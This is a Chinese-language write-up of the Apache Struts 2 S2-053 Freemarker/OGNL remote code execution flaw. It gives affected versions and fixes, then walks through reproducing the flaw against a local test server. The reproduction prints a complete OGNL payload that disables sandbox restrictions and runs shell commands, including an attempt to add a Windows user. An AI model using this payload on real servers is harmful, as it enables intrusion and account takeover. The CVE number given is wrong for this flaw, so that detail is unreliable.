繼S2-052之后,Apache Struts 2再次被曝存在遠程代碼執行漏洞,漏洞編號S2-053,CVE編號CVE-2017-1000112。
當開發人員在Freemarker標簽中使用錯誤的構造時,可能會導致遠程代碼執行漏洞。
影響范圍
Struts 2.0.1 - Struts 2.3.33、Struts 2.5 - Struts 2.5.10
不受影響的版本
Struts 2.5.12、Struts 2.3.34
漏洞分析
當在Freemarker標簽中使用表達式文本或強制表達式時,使用以下請求值可能會導致遠程代碼執行
<@s.hidden name="redirectUri" value=redirectUri />
<@s.hidden name="redirectUri" value="${redirectUri}" />
這兩種情況下,值屬性都使用可寫屬性,都會受到Freemarker表達式影響。
修復方案
1、升級到Apache Struts版本2.5.12或2.3.34
2、使用只讀屬性來初始化value屬性(僅限getter屬性)
3、Freemarker標簽內容不要通過Request方式獲取
復現
開啟tomcat

打開測試網站

輸入檢測代碼
%{1+1}

說明漏洞存在
輸入payload
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=
(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?
{'cmd.exe','/c',#cmd='ipconfig'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).
(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}


更改一下payload中的兩個ipconfig參數
換成 net user

添加用戶 net user test test /add

看來運行apache的用戶權限不夠
換成calc調用計算器

總結
struts2的invocation會在跑遍一圈interceptor之后,進行execute result ,而項目中配置的result的type是freemarker,因此會這個流程會交到freemarkerresult手里,它會把對應的ftl模板拿出來處理 這里會進行第一次解析。
標簽value屬性的值將會變成我們傳入的%{100-3},當然其中還有ognl進行get value的過程,之后標簽處理結束前會回調給uibean,它end的時候肯定需要計算一下參數值,才能得到真正輸出到瀏覽器上的值,這就會產生第二次解析 。
